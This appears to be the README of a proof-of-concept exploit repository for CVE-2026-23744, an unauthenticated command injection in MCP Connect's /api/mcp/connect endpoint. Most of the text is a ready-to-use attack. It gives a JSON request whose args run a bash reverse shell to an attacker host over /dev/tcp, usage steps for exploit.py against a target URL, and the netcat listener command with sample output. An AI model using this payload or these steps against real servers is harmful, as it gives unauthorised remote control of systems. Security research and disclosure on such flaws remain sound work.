
Proof-of-concept exploit for CVE-2026-23744, an unauthenticated command injection in MCP Connect leading to remote code execution and reverse shell.
⚠️ Disclaimer: This repository is for educational and security research purposes only. Using this exploit against systems without explicit authorization is illegal. The author is not responsible for any misuse of this code.
The vulnerability resides in the /api/mcp/connect endpoint, which allows an unauthenticated attacker to register an arbitrary MCP (Model Context Protocol) server with a malicious configuration. Since there is no validation or sanitization of the command field and its args, it is possible to inject operating system commands that are executed directly on the server with the privileges of the web process.
This results in remote code execution (RCE) that can be leveraged to obtain a reverse shell on the compromised system.
| Field | Detail |
|---|---|
| Type | Remote Code Execution (RCE) |
| Vector | Network (unauthenticated HTTP POST) |
| Endpoint | /api/mcp/connect |
| Severity | 🔴 Critical |
| Authentication | Not required |
| Impact | Full server control |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
The server processes this configuration and invokes the bash command with the provided arguments, establishing a reverse TCP connection to the attacker.
pip install requests termcolor
python3 exploit.py -l <YOUR_IP> -u <TARGET_URL>
| Parameter | Description | Example |
|---|---|---|
-l | Your IP (where you will receive the shell) | 192.168.1.50 |
-u | Target base URL | https://victim.com |
Terminal 1 — Listener:
nc -nlvp 443
Terminal 2 — Exploit:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
Once the request is sent, the listener on port 443 will receive the reverse connection with an interactive shell from the compromised server.
/api/mcp/connect before processing them..
├── exploit.py # Main exploit script
└── README.md # This file
Developed for offensive security research purposes by Jorge Arana Fedriani.